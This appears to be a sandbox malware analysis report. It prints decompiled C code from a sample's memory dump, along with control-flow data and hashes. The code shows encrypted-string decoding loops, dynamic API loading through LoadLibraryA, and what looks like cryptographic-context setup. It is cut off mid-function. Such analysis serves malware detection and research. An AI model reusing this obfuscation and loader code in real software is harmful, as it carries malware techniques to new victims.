    • LoadLibraryA.KERNELBASE(00000052), ref: 00F21EC4
    Strings
    Memory Dump Source
    • Source File: 00000001.00000002.524978448.0000000000F21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F20000, based on PE: true
    • Associated: 00000001.00000002.524970027.0000000000F20000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525043979.0000000000F44000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525065584.0000000000F4A000.00000004.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525078038.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_1_2_f20000_ll.jbxd
    Similarity
    • API ID: LibraryLoad
    • String ID: $!$"$"$$$'$'$*$*$+$,$,$,$.$1$1$3$3$4$5$6$7$8$:$:$:$:$<$=$=$?$A$C$C$D$D$E$E$E$E$F$G$H$I$J$K$K$K.Q$L$N$Q$R$R$R$S$S$V$W$X$X$X$X$Z$^$_$_$_$_$`$a$a$a$b$b$b$b$c$d$e$f$g$i$j$k$l$p$t$t$u$u$u$v$y${${
    • API String ID: 1029625771-723390366
    • Opcode ID: 09bcba90b57052c4a7a99e900d8f91fe17a18a817256f0dbb2f105750317f97e
    • Instruction ID: 6bad0188e4e5b0526e23a1b6fefecc2b2dfd09d0c56e416e36c65e376f3521b3
    • Opcode Fuzzy Hash: 09bcba90b57052c4a7a99e900d8f91fe17a18a817256f0dbb2f105750317f97e
    • Instruction Fuzzy Hash: 8AF1EC249092DCC9EB12C7B9D8587DDBFB55F22308F0850DDD4886B293C7FA0649EB66
    Uniqueness

    Uniqueness Score: -1.00%

    Function 00F222A0 Relevance: 156.0, APIs: 1, Strings: 88, Instructions: 299libraryCOMMON
    Download Yara Rule

    Control-flow Graph

    • Executed
    • Not Executed
    control_flow_graph 976 f222a0-f2230d 977 f22331-f22428 call f22bf0 call f22b90 976->977 978 f2230f 976->978 984 f22450-f22541 call f22b30 call f22ad0 977->984 985 f2242a-f2242c 977->985 980 f22311-f2232f 978->980 980->977 980->980 991 f22543 984->991 992 f22565-f2269f call f22a70 call f22a10 call f229b0 call f22950 984->992 986 f22430-f2244e 985->986 986->984 986->986 993 f22545-f22563 991->993 1002 f226a1-f226a2 992->1002 1003 f226a4-f226ad 992->1003 993->992 993->993 1004 f226f0-f226f8 LoadLibraryA 1002->1004 1005 f22721-f22733 call f37a82 1003->1005 1006 f226af 1003->1006 1004->1005 1007 f226fa-f22703 call f221e0 1004->1007 1008 f226c3-f226c6 1006->1008 1009 f226d0-f226d3 1006->1009 1010 f226e1-f226e3 1006->1010 1011 f226b6-f226b9 1006->1011 1012 f226d5-f226db 1006->1012 1013 f226e5-f226eb 1006->1013 1014 f226bb-f226c1 1006->1014 1015 f226c8-f226ce 1006->1015 1016 f226ef 1006->1016 1017 f226dd-f226df 1006->1017 1018 f226ed 1006->1018 1022 f22708-f2271e call f37a82 1007->1022 1008->1016 1009->1016 1010->1016 1011->1016 1012->1016 1013->1016 1014->1016 1015->1016 1016->1004 1017->1016 1018->1016
    C-Code - Quality: 72%
    			E00F222A0(void* __ebx, intOrPtr __ecx, signed int __edx, void* __edi, void* __esi, intOrPtr _a4) {
				signed int _v8;
				char _v12;
				char _v13;
				char _v14;
				char _v15;
				char _v16;
				char _v17;
				char _v18;
				char _v19;
				char _v20;
				char _v21;
				char _v22;
				char _v23;
				char _v24;
				char _v27;
				char _v28;
				char _v29;
				char _v30;
				char _v31;
				char _v32;
				char _v33;
				char _v34;
				char _v35;
				char _v36;
				char _v37;
				char _v38;
				char _v39;
				char _v40;
				char _v43;
				char _v44;
				char _v45;
				char _v46;
				char _v47;
				char _v48;
				char _v49;
				char _v50;
				char _v51;
				char _v52;
				char _v53;
				char _v54;
				char _v55;
				char _v56;
				char _v58;
				char _v59;
				char _v60;
				char _v61;
				char _v62;
				char _v63;
				char _v64;
				char _v65;
				char _v66;
				char _v67;
				char _v68;
				char _v69;
				char _v70;
				char _v71;
				char _v72;
				char _v73;
				char _v74;
				char _v75;
				char _v76;
				char _v77;
				char _v78;
				char _v79;
				char _v80;
				char _v84;
				char _v85;
				char _v86;
				char _v87;
				char _v88;
				char _v89;
				char _v90;
				char _v91;
				char _v92;
				char _v93;
				char _v94;
				char _v95;
				char _v96;
				char _v100;
				char _v101;
				char _v102;
				char _v103;
				char _v104;
				char _v105;
				char _v106;
				char _v107;
				char _v108;
				char _v109;
				char _v110;
				char _v111;
				char _v112;
				char _v115;
				char _v116;
				char _v117;
				char _v118;
				char _v119;
				char _v120;
				char _v121;
				char _v122;
				char _v123;
				char _v124;
				char _v125;
				char _v126;
				char _v127;
				char _v128;
				char _v131;
				char _v132;
				char _v133;
				char _v134;
				char _v135;
				char _v136;
				char _v137;
				char _v138;
				char _v139;
				char _v140;
				char _v141;
				char _v142;
				char _v143;
				char _v144;
				char _v147;
				char _v148;
				char _v149;
				char _v150;
				char _v151;
				char _v152;
				char _v153;
				char _v154;
				char _v155;
				char _v156;
				char _v157;
				char _v158;
				char _v159;
				char _v160;
				char _v163;
				char _v164;
				char _v165;
				char _v166;
				char _v167;
				char _v168;
				char _v169;
				char _v170;
				char _v171;
				char _v172;
				char _v173;
				char _v174;
				char _v175;
				char _v176;
				intOrPtr _v180;
				signed int _v184;
				intOrPtr _v188;
				intOrPtr _v192;
				intOrPtr _v196;
				intOrPtr _v200;
				signed int _t233;
				intOrPtr _t239;
				intOrPtr _t242;
				intOrPtr _t244;
				intOrPtr _t251;
				struct HINSTANCE__* _t256;
				intOrPtr _t293;
				signed int _t294;
				void* _t301;
				void* _t302;
				void* _t303;
				signed int _t318;

				_t233 =  *0xf4a004; // 0x355216d4
				_v8 = _t233 ^ _t318;
				_v184 = __edx;
				_v180 = __ecx;
				_v12 = 0;
				_v40 = 0;
				_v39 = 0x25;
				_v38 = 0x37;
				_v37 = 0x39;
				_v36 = 0x61;
				_v35 = 0xe;
				_v34 = 0x70;
				_v33 = 0x6a;
				_v32 = 0x78;
				_v31 = 0x31;
				_v30 = 0x37;
				_v29 = 0x46;
				_v28 = 0x46;
				_v27 = 0x3a;
				if(_v40 == 0) {
					_t303 = 0;
					do {
						asm("cdq");
						asm("cdq");
						 *(_t318 + _t303 - 0x23) = ((( *(_t318 + _t303 - 0x23) & 0x000000ff) - 0x3a + (( *(_t318 + _t303 - 0x23) & 0x000000ff) - 0x3a) * 8) % 0x7f + 0x7f) % 0x7f;
						_t303 = _t303 + 1;
					} while (_t303 < 0xd);
				}
				_v128 = 0;
				_v127 = 0x4b;
				_v126 = 0x55;
				_v125 = 0x5a;
				_v124 = 0x6c;
				_v123 = 0x55;
				_v122 = 0x75;
				_v121 = 0x38;
				_v120 = 0x7c;
				_v119 = 0xf;
				_v118 = 0x1a;
				_v117 = 0x75;
				_v116 = 0x75;
				_v115 = 0x5f;
				E00F22BF0( &_v128);
				_v144 = 0;
				_v143 = 0x50;
				_v142 = 0x75;
				_v141 = 0x6c;
				_v140 = 0x5e;
				_v139 = 0x55;
				_v138 = 0xd;
				_v137 = 0x14;
				_v136 = 0x2e;
				_v135 = 0x17;
				_v134 = 0x10;
				_v133 = 0x3e;
				_v132 = 0x3e;
				_v131 = 0x4c;
				_t239 = E00F22B90( &_v144);
				_v56 = 0;
				_v55 = 0x1b;
				_v54 = 0x5f;
				_v53 = 0x37;
				_v52 = 0x4b;
				_v51 = 0x5f;
				_v50 = 0x14;
				_v49 = 0x5f;
				_v48 = 0x3c;
				_v47 = 0x13;
				_v46 = 0x23;
				_v45 = 0x4b;
				_v44 = 0x4b;
				_v43 = 0x2b;
				_v188 = _t239;
				if(_v56 == 0) {
					_t302 = 0;
					do {
						asm("cdq");
						asm("cdq");
						 *(_t318 + _t302 - 0x33) = ((( *(_t318 + _t302 - 0x33) & 0x000000ff) - 0x2b) * 0x33 % 0x7f + 0x7f) % 0x7f;
						_t302 = _t302 + 1;
					} while (_t302 < 0xd);
				}
				_v160 = 0;
				_v159 = 0x1e;
				_v158 = 2;
				_v157 = 5;
				_v156 = 0x7e;
				_v155 = 5;
				_v154 = 0x6f;
				_v153 = 0x5d;
				_v152 = 0x7e;
				_v151 = 0x31;
				_v150 = 0x54;
				_v149 = 0x6c;
				_v148 = 0x6c;
				_v147 = 0x26;
				_t242 = E00F22B30( &_v160);
				_v80 = 0;
				_v79 = 0x78;
				_v78 = 0x41;
				_v77 = 0x5c;
				_v76 = 0x2c;
				_v75 = 0x4a;
				_v74 = 0x5c;
				_v73 = 0x25;
				_v72 = 0x51;
				_v71 = 0x40;
				_v70 = 0x40;
				_v192 = _t242;
				_v69 = 0x67;
				_t244 = E00F22AD0( &_v80);
				_v24 = 0;
				_v23 = 6;
				_v22 = 0x3a;
				_v21 = 0x5d;
				_v20 = 0x7c;
				_v19 = 0x5b;
				_v18 = 0x1e;
				_v17 = 0x28;
				_v16 = 0x20;
				_v15 = 0xc;
				_v14 = 0xc;
				_v13 = 0x1c;
				_v196 = _t244;
				if(_v24 == 0) {
					_t301 = 0;
					do {
						asm("cdq");
						asm("cdq");
						 *(_t318 + _t301 - 0x13) = ((( *(_t318 + _t301 - 0x13) & 0x000000ff) - 0x1c) * 0x19 % 0x7f + 0x7f) % 0x7f;
						_t301 = _t301 + 1;
					} while (_t301 < 0xb);
				}
				_v96 = 0;
				_v95 = 4;
				_v94 = 0x6c;
				_v93 = 0x19;
				_v92 = 0x13;
				_v91 = 0x1f;
				_v90 = 0x45;
				_v89 = 0x77;
				_v88 = 0x69;
				_v87 = 0x40;
				_v86 = 0x19;
				_v85 = 0x19;
				_v84 = 0x6b;
				E00F22A70( &_v96);
				_v112 = 0;
				_v111 = 0x11;
				_v110 = 0x1f;
				_v109 = 0x1d;
				_v108 = 0x4c;
				_v107 = 0x4c;
				_v106 = 0x26;
				_v105 = 0x7a;
				_v104 = 0x4d;
				_v103 = 0x71;
				_v102 = 0x4c;
				_v101 = 0x4c;
				_v100 = 4;
				E00F22A10( &_v112);
				_v68 = 0;
				_v67 = 0x41;
				_v66 = 0x17;
				_v65 = 0x14;
				_v64 = 0x35;
				_v63 = 0x6b;
				_v62 = 0x45;
				_v61 = 0x4a;
				_v60 = 0x17;
				_v59 = 0x17;
				_v58 = 0xd;
				_t251 = E00F229B0( &_v68);
				_v176 = 0;
				_v175 = 0x47;
				_v174 = 0x62;
				_v173 = 0x6d;
				_v172 = 0x5d;
				_v171 = 0x66;
				_v170 = 0x1f;
				_v169 = 0x73;
				_v168 = 0x2c;
				_v167 = 0xe;
				_v166 = 0x26;
				_v165 = 0x62;
				_v164 = 0x62;
				_v200 = _t251;
				_v163 = 0x32;
				E00F22950( &_v176);
				_t293 = _v180;
				if(_t293 == 0) {
					_t294 = _v184;
					if(_t294 > 0xa) {
						goto L26;
					} else {
						switch( *((intOrPtr*)(_t294 * 4 +  &M00F22738))) {
							case 0:
								L23:
								_push(_t317); // executed
								goto L24;
							case 1:
								_t317 =  &_v39;
								goto L23;
							case 2:
								goto L23;
							case 3:
								goto L23;
							case 4:
								goto L23;
							case 5:
								goto L23;
							case 6:
								goto L23;
							case 7:
								goto L23;
							case 8:
								goto L23;
							case 9:
								goto L23;
							case 0xa:
								goto L23;
						}
					}
				} else {
					_push(_t293);
					L24:
					_t256 = LoadLibraryA(); // executed
					if(_t256 == 0) {
						L26:
						return E00F37A82(_v8 ^ _t318);
					} else {
						E00F221E0(_t256, _a4,  &_v12); // executed
						return E00F37A82(_v8 ^ _t318);
					}
				}
			}








































































































































































    0x00f222a9
    0x00f222b0
    0x00f222b6
    0x00f222bc
    0x00f222c2
    0x00f222c9
    0x00f222cd
    0x00f222d1
    0x00f222d5
    0x00f222d9
    0x00f222dd
    0x00f222e1
    0x00f222e5
    0x00f222e9
    0x00f222ed
    0x00f222f1
    0x00f222f5
    0x00f222f9
    0x00f222fd
    0x00f2230d
    0x00f2230f
    0x00f22311
    0x00f2231e
    0x00f22324
    0x00f22327
    0x00f2232b
    0x00f2232c
    0x00f22311
    0x00f22331
    0x00f22338
    0x00f2233c
    0x00f22340
    0x00f22344
    0x00f22348
    0x00f2234c
    0x00f22350
    0x00f22354
    0x00f22358
    0x00f2235c
    0x00f22360
    0x00f22364
    0x00f22368
    0x00f2236f
    0x00f22374
    0x00f22381
    0x00f2238a
    0x00f22391
    0x00f22398
    0x00f2239f
    0x00f223a6
    0x00f223ad
    0x00f223b4
    0x00f223bb
    0x00f223c2
    0x00f223c9
    0x00f223d0
    0x00f223d4
    0x00f223de
    0x00f223e3
    0x00f223e7
    0x00f223eb
    0x00f223ef
    0x00f223f3
    0x00f223f7
    0x00f223fb
    0x00f223ff
    0x00f22403
    0x00f22407
    0x00f2240b
    0x00f2240f
    0x00f22413
    0x00f22417
    0x00f2241b
    0x00f22428
    0x00f2242a
    0x00f22430
    0x00f2243d
    0x00f22443
    0x00f22446
    0x00f2244a
    0x00f2244b
    0x00f22430
    0x00f22450
    0x00f2245d
    0x00f22464
    0x00f2246b
    0x00f22472
    0x00f22479
    0x00f22480
    0x00f22487
    0x00f2248e
    0x00f22495
    0x00f2249c
    0x00f224a3
    0x00f224aa
    0x00f224b1
    0x00f224be
    0x00f224c3
    0x00f224ca
    0x00f224ce
    0x00f224d2
    0x00f224d6
    0x00f224da
    0x00f224de
    0x00f224e2
    0x00f224e6
    0x00f224ea
    0x00f224ee
    0x00f224f2
    0x00f224f8
    0x00f224ff
    0x00f22504
    0x00f22508
    0x00f2250c
    0x00f22510
    0x00f22514
    0x00f22518
    0x00f2251c
    0x00f22520
    0x00f22524
    0x00f22528
    0x00f2252c
    0x00f22530
    0x00f22534
    0x00f22541
    0x00f22543
    0x00f22545
    0x00f22552
    0x00f22558
    0x00f2255b
    0x00f2255f
    0x00f22560
    0x00f22545
    0x00f22565
    0x00f2256c
    0x00f22570
    0x00f22574
    0x00f22578
    0x00f2257c
    0x00f22580
    0x00f22584
    0x00f22588
    0x00f2258c
    0x00f22590
    0x00f22594
    0x00f22598
    0x00f2259f
    0x00f225a4
    0x00f225ab
    0x00f225b1
    0x00f225b5
    0x00f225b9
    0x00f225bd
    0x00f225c1
    0x00f225c5
    0x00f225c9
    0x00f225cd
    0x00f225d1
    0x00f225d5
    0x00f225d9
    0x00f225e0
    0x00f225e5
    0x00f225ec
    0x00f225f2
    0x00f225f6
    0x00f225fa
    0x00f225fe
    0x00f22602
    0x00f22606
    0x00f2260a
    0x00f2260e
    0x00f22612
    0x00f22619
    0x00f2261e
    0x00f2262b
    0x00f22632
    0x00f22639
    0x00f22640
    0x00f22647
    0x00f2264e
    0x00f22655
    0x00f2265c
    0x00f22663
    0x00f2266a
    0x00f22671
    0x00f22678
    0x00f2267f
    0x00f22685
    0x00f22692
    0x00f22697
    0x00f2269f
    0x00f226a4
    0x00f226ad
    0x00000000
    0x00f226af
    0x00f226af
    0x00000000
    0x00f226ef
    0x00f226ef
    0x00000000
    0x00000000
    0x00f226b6
    0x00000000
    0x00000000
    0x00000000
    0x00000000
    0x00000000
    0x00000000
    0x00000000
    0x00000000
    0x00000000
    0x00000000
    0x00000000
    0x00000000
    0x00000000
    0x00000000
    0x00000000
    0x00000000
    0x00000000
    0x00000000
    0x00000000
    0x00000000
    0x00f226af
    0x00f226a1
    0x00f226a1
    0x00f226f0
    0x00f226f0
    0x00f226f8
    0x00f22721
    0x00f22733
    0x00f226fa
    0x00f22703
    0x00f2271e
    0x00f2271e
    0x00f226f8

    APIs
    • LoadLibraryA.KERNELBASE(00000000,00000000,?), ref: 00F226F0
    Strings
    Memory Dump Source
    • Source File: 00000001.00000002.524978448.0000000000F21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F20000, based on PE: true
    • Associated: 00000001.00000002.524970027.0000000000F20000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525043979.0000000000F44000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525065584.0000000000F4A000.00000004.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525078038.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_1_2_f20000_ll.jbxd
    Similarity
    • API ID: LibraryLoad
    • String ID: $#$%$&$&$&$($+$,$.$1$1$2$5$7$7$7$8$9$:$:$<$>$>$@$A$E$E$F$F$G$J$K$K$K$K$L$L$L$L$L$M$P$T$U$U$U$Z$[$]$]$]$^$_$_$_$_$a$b$b$b$f$i$j$k$k$l$l$l$l$l$m$o$p$q$s$u$u$u$u$w$x$xA\,J\%Q@@g$z$|$|$~$~
    • API String ID: 1029625771-1423855142
    • Opcode ID: 4a759061cb56f9c26749620083b334dd55e5d789949c987257bf7f38f6c3b3f6
    • Instruction ID: 6fef81b3911573c1ba2819ede29b97da563602c0c50ea086a342dbb933731dd3
    • Opcode Fuzzy Hash: 4a759061cb56f9c26749620083b334dd55e5d789949c987257bf7f38f6c3b3f6
    • Instruction Fuzzy Hash: 6EF1BD20D0D2D8DDEB52C6B8D8587DDBFB15F22308F1840D9C5887B283D7BA0A59DB66
    Uniqueness

    Uniqueness Score: -1.00%

    Function 00F367D0 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 250COMMON
    Download Yara Rule
    C-Code - Quality: 55%
    			E00F367D0(void* __ebx, intOrPtr* __ecx, signed int _a4, signed int _a8, intOrPtr* _a12) {
				intOrPtr _v24;
				char _v54;
				char _v55;
				char _v56;
				char _v57;
				char _v58;
				char _v59;
				char _v60;
				char _v61;
				char _v62;
				char _v63;
				char _v64;
				char _v65;
				char _v66;
				char _v67;
				char _v68;
				char _v69;
				char _v70;
				char _v71;
				char _v72;
				char _v73;
				char _v74;
				char _v75;
				char _v76;
				char _v77;
				char _v78;
				char _v79;
				char _v80;
				char _v81;
				char _v82;
				char _v83;
				char _v84;
				char _v85;
				char _v86;
				char _v87;
				char _v88;
				char _v89;
				char _v90;
				char _v91;
				char _v92;
				char _v93;
				char _v94;
				char _v95;
				char _v96;
				char _v97;
				char _v98;
				char _v99;
				char _v100;
				char _v101;
				char _v102;
				char _v103;
				char _v104;
				char _v105;
				char _v106;
				char _v107;
				char _v108;
				char _v109;
				char _v110;
				char _v111;
				char _v112;
				char _v113;
				char _v114;
				char _v115;
				char _v116;
				char _v117;
				char _v118;
				char _v119;
				char _v120;
				char _v121;
				char _v122;
				char _v123;
				char _v124;
				char _v126;
				char _v127;
				char _v128;
				char _v129;
				char _v130;
				char _v131;
				char _v132;
				char _v133;
				char _v134;
				char _v135;
				char _v136;
				char _v137;
				char _v138;
				char _v139;
				char _v140;
				char _v141;
				char _v142;
				char _v143;
				char _v144;
				char _v145;
				char _v146;
				char _v147;
				char _v148;
				char _v149;
				char _v150;
				char _v151;
				char _v152;
				char _v153;
				char _v154;
				char _v155;
				char _v156;
				char _v157;
				char _v158;
				char _v159;
				char _v160;
				char _v161;
				char _v162;
				char _v163;
				char _v164;
				char _v165;
				char _v166;
				char _v167;
				char _v168;
				char _v169;
				char _v170;
				char _v171;
				char _v172;
				char _v173;
				char _v174;
				char _v175;
				char _v176;
				char _v177;
				char _v178;
				char _v179;
				char _v180;
				char _v181;
				char _v182;
				char _v183;
				char _v184;
				char _v185;
				char _v186;
				char _v187;
				char _v188;
				char _v189;
				char _v190;
				char _v191;
				char _v192;
				char _v194;
				char _v195;
				char _v196;
				char _v197;
				char _v198;
				char _v199;
				char _v200;
				char _v201;
				char _v202;
				char _v203;
				char _v204;
				char _v205;
				char _v206;
				char _v207;
				char _v208;
				char _v209;
				char _v210;
				char _v211;
				char _v212;
				char _v213;
				char _v214;
				char _v215;
				char _v216;
				char _v217;
				char _v218;
				char _v219;
				char _v220;
				char _v221;
				char _v222;
				char _v223;
				char _v224;
				char _v225;
				char _v226;
				char _v227;
				char _v228;
				char _v229;
				char _v230;
				char _v231;
				char _v232;
				char _v233;
				char _v234;
				char _v235;
				char _v236;
				char _v237;
				char _v238;
				char _v239;
				char _v240;
				char _v241;
				char _v242;
				char _v243;
				char _v244;
				char _v245;
				char _v246;
				char _v247;
				char _v248;
				char _v249;
				char _v250;
				char _v251;
				char _v252;
				char _v253;
				char _v254;
				char _v255;
				char _v256;
				char _v257;
				char _v258;
				char _v259;
				char _v260;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr _t315;
				void* _t324;
				intOrPtr* _t325;
				void* _t326;
				void* _t328;
				intOrPtr* _t329;
				char _t330;
				void* _t333;
				intOrPtr* _t334;
				char _t335;
				void* _t337;
				intOrPtr* _t338;
				short* _t348;
				intOrPtr* _t352;
				intOrPtr* _t355;
				signed int _t375;
				intOrPtr* _t385;
				signed int _t386;
				intOrPtr _t388;
				intOrPtr _t390;
				intOrPtr _t392;
				intOrPtr _t394;
				intOrPtr _t396;
				intOrPtr _t398;
				intOrPtr _t400;
				intOrPtr _t402;
				intOrPtr _t408;
				signed int _t416;
				intOrPtr* _t421;
				intOrPtr* _t422;
				signed int _t423;
				intOrPtr* _t424;
				signed int _t425;
				intOrPtr _t426;
				void* _t427;
				void* _t428;
				void* _t430;
				void* _t431;
				intOrPtr* _t446;
				signed int _t447;
				void* _t460;
				void* _t462;

				_push(__ebx);
				_t375 = _a4;
				_t445 = __ecx;
				_t385 = _a8;
				_push(_t425);
				_t315 =  *((intOrPtr*)(_t375 + 0x10));
				if(_t315 < _t385) {
					E00F37A55("invalid string position");
					goto L22;
				} else {
					_t423 =  *(__ecx + 0x10);
					_t385 =  >  ? _t315 - _t385 : _a12;
					_a12 = _t385;
					if( !_t423 <= _t385) {
						L22:
						_push("string too long");
						E00F37A35();
						goto L23;
					} else {
						_t425 = _t423 + _t385;
						if(_t385 == 0) {
							L20:
							return _t445;
						} else {
							if(_t425 > 0x7ffffffe) {
								L23:
								_push("string too long");
								E00F37A35();
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								_t460 = _t462;
								_push(_t445);
								_push(_t425);
								_t426 = _v24;
								_t446 = _t385;
								if(_t426 == 0) {
									L37:
									_t416 =  *(_t446 + 0x10);
									_t386 = _a4;
									if( !_t416 <= _t386) {
										_push("string too long");
										E00F37A35();
										goto L56;
									} else {
										_push(_t375);
										_t375 = _t416 + _t386;
										if(_t386 == 0) {
											L54:
											return _t446;
										} else {
											if(_t375 > 0x7ffffffe) {
												L56:
												_push("string too long");
												E00F37A35();
												asm("int3");
												asm("int3");
												asm("int3");
												asm("int3");
												asm("int3");
												asm("int3");
												asm("int3");
												asm("int3");
												asm("int3");
												asm("int3");
												asm("int3");
												asm("int3");
												asm("int3");
												_push(_t460);
												_push(_t446);
												_push(_t426);
												_t447 = _t386;
												_v108 = 0;
												_v107 = 0x11;
												_v106 = 0x4e;
												_v105 = 0x4a;
												_v104 = 0x54;
												_v103 = 0x52;
												_v102 = 0;
												_v101 = 0x52;
												_v100 = 0x4c;
												_v99 = 0x2b;
												_v98 = 0x72;
												_v97 = 0x36;
												_v96 = 0x27;
												_v95 = 0x23;
												_v94 = 0x73;
												_v93 = 0x27;
												_v92 = 0x4a;
												_v91 = 0x21;
												_v90 = 0x75;
												_v89 = 0x72;
												_v88 = 0x69;
												_v87 = 0x15;
												_v86 = 9;
												_v85 = 0x72;
												_v84 = 0x73;
												_v83 = 0x27;
												_v82 = 0x75;
												_v81 = 0x72;
												_v80 = 9;
												_v79 = 0x36;
												_v78 = 0x15;
												_v77 = 0x72;
												_v76 = 0x5f;
												_v75 = 0x54;
												_v74 = 4;
												_v73 = 0x7d;
												_v72 = 0x2b;
												_v71 = 0x52;
												_v70 = 0x77;
												_v69 = 0x54;
												_v68 = 0x73;
												_v67 = 0x7d;
												_v66 = 0x23;
												_v65 = 0x4e;
												_v64 = 0x4a;
												_v63 = 0x72;
												_v62 = 0x13;
												_v61 = 0x54;
												_v60 = 0x52;
												_v59 = 2;
												_v58 = 0x4e;
												_v57 = 0x75;
												_v56 = 0x21;
												_v55 = 0x54;
												_v54 = 8;
												_t324 = E00F37830( &_v108);
												_t388 =  *0xf4c2ec; // 0xddcc10
												_t427 = _t324;
												_t325 =  *((intOrPtr*)(_t388 + 0xe4));
												if(_t325 == 0) {
													_t325 = E00F222A0(_t375, 0, _t325 + 1, _t427, _t447, 0x5cc1ccbc);
													_t402 =  *0xf4c2ec; // 0xddcc10
													 *((intOrPtr*)(_t402 + 0xe4)) = _t325;
												}
												_t326 =  *_t325(_t447, 0, _t427, 0x18, 0xf0000000); // executed
												if(_t326 == 0) {
													_v124 = 0;
													_v123 = 2;
													_v122 = 3;
													_v121 = 0x1e;
													_v120 = 0x1a;
													_v119 = 0x67;
													_v118 = 0x55;
													_v117 = 0x67;
													_v116 = 0x50;
													_v115 = 0x11;
													_v114 = 0xe;
													_v113 = 0x26;
													_v112 = 0x2c;
													_v111 = 0x47;
													_v110 = 0x27;
													_v109 = 0x2c;
													_v108 = 0x1e;
													_v107 = 0x15;
													_v106 = 0x59;
													_v105 = 0xe;
													_v104 = 0x2b;
													_v103 = 0x66;
													_v102 = 0x38;
													_v101 = 0xe;
													_v100 = 0x27;
													_v99 = 0x2c;
													_v98 = 0x59;
													_v97 = 0xe;
													_v96 = 0x38;
													_v95 = 0x26;
													_v94 = 0x66;
													_v93 = 0xe;
													_v92 = 0x2f;
													_v91 = 0x1a;
													_v90 = 0x3a;
													_v89 = 0x23;
													_v88 = 0x11;
													_v87 = 0x67;
													_v86 = 0xc;
													_v85 = 0x1a;
													_v84 = 0x27;
													_v83 = 0x23;
													_v82 = 0x47;
													_v81 = 3;
													_v80 = 0x1e;
													_v79 = 0xe;
													_v78 = 0x34;
													_v77 = 0x1a;
													_v76 = 0x67;
													_v75 = 8;
													_v74 = 3;
													_v73 = 0x59;
													_v72 = 0x15;
													_v71 = 0x1a;
													_v70 = 0x1f;
													_t328 = E00F377D0( &_v124);
													_t390 =  *0xf4c2ec; // 0xddcc10
													_t428 = _t328;
													_t329 =  *((intOrPtr*)(_t390 + 0xe4));
													if(_t329 == 0) {
														_t329 = E00F222A0(_t375, 0, _t329 + 1, _t428, _t447, 0x5cc1ccbc);
														_t400 =  *0xf4c2ec; // 0xddcc10
														 *((intOrPtr*)(_t400 + 0xe4)) = _t329;
													}
													_t330 =  *_t329(_t447, 0, _t428, 0x18, 0xf0000008);
													if(_t330 != 0) {
														goto L60;
													} else {
														_v192 = _t330;
														_v191 = 0x69;
														_v190 = 0x5e;
														_v189 = 0x33;
														_v188 = 0x5f;
														_v187 = 0xa;
														_v186 = 0x51;
														_v185 = 0xa;
														_v184 = 9;
														_v183 = 0x43;
														_v182 = 0x64;
														_v181 = 0x5a;
														_v180 = 0x18;
														_v179 = 0x6c;
														_v178 = 0x4f;
														_v177 = 0x18;
														_v176 = 0x33;
														_v175 = 0x17;
														_v174 = 0x25;
														_v173 = 0x64;
														_v172 = 0x23;
														_v171 = 0x15;
														_v170 = 0x13;
														_v169 = 0x64;
														_v168 = 0x4f;
														_v167 = 0x18;
														_v166 = 0x25;
														_v165 = 0x64;
														_v164 = 0x13;
														_v163 = 0x5a;
														_v162 = 0x15;
														_v161 = 0x64;
														_v160 = 0x76;
														_v159 = 0x5f;
														_v158 = 0x7c;
														_v157 = 0x7b;
														_v156 = 0x43;
														_v155 = 0xa;
														_v154 = 0x7a;
														_v153 = 0x5f;
														_v152 = 0x4f;
														_v151 = 0x7b;
														_v150 = 0x6c;
														_v149 = 0x5e;
														_v148 = 0x33;
														_v147 = 0x64;
														_v146 = 0x3f;
														_v145 = 0x5f;
														_v144 = 0xa;
														_v143 = 0x27;
														_v142 = 0x5e;
														_v141 = 0x25;
														_v140 = 0x17;
														_v139 = 0x5f;
														_v138 = 0x64;
														_v137 = 0x73;
														_v136 = 0x3f;
														_v135 = 0x5f;
														_v134 = 0xa;
														_v133 = 0x43;
														_v132 = 0xa;
														_v131 = 0x43;
														_v130 = 0x7c;
														_v129 = 0x7b;
														_v128 = 0x17;
														_v127 = 0x65;
														_v126 = 0x28;
														_t333 = E00F37790( &_v192);
														_t392 =  *0xf4c2ec; // 0xddcc10
														_t430 = _t333;
														_t334 =  *((intOrPtr*)(_t392 + 0xe4));
														if(_t334 == 0) {
															_t334 = E00F222A0(_t375, 0, _t334 + 1, _t430, _t447, 0x5cc1ccbc);
															_t398 =  *0xf4c2ec; // 0xddcc10
															 *((intOrPtr*)(_t398 + 0xe4)) = _t334;
														}
														_t335 =  *_t334(_t447, 0, _t430, 0x18, 0xf0000000);
														if(_t335 != 0) {
															goto L60;
														} else {
															_v260 = _t335;
															_v259 = 0x76;
															_v258 = 0x1d;
															_v257 = 0x27;
															_v256 = 0xe;
															_v255 = 0x13;
															_v254 = 0x61;
															_v253 = 0x13;
															_v252 = 0x22;
															_v251 = 0x35;
															_v250 = 0x42;
															_v249 = 0x59;
															_v248 = 0x3f;
															_v247 = 0x49;
															_v246 = _t335;
															_v245 = 0x3f;
															_v244 = 0x27;
															_v243 = 0x4e;
															_v242 = 0x7a;
															_v241 = 0x42;
															_v240 = 0x19;
															_v239 = 0x6c;
															_v238 = 0xb;
															_v237 = 0x42;
															_v236 = _t335;
															_v235 = 0x3f;
															_v234 = 0x7a;
															_v233 = 0x42;
															_v232 = 0xb;
															_v231 = 0x59;
															_v230 = 0x6c;
															_v229 = 0x42;
															_v228 = 0x32;
															_v227 = 0xe;
															_v226 = 0x57;
															_v225 = 0x66;
															_v224 = 0x35;
															_v223 = 0x13;
															_v222 = 0x75;
															_v221 = 0xe;
															_v220 = _t335;
															_v219 = 0x66;
															_v218 = 0x49;
															_v217 = 0x1d;
															_v216 = 0x27;
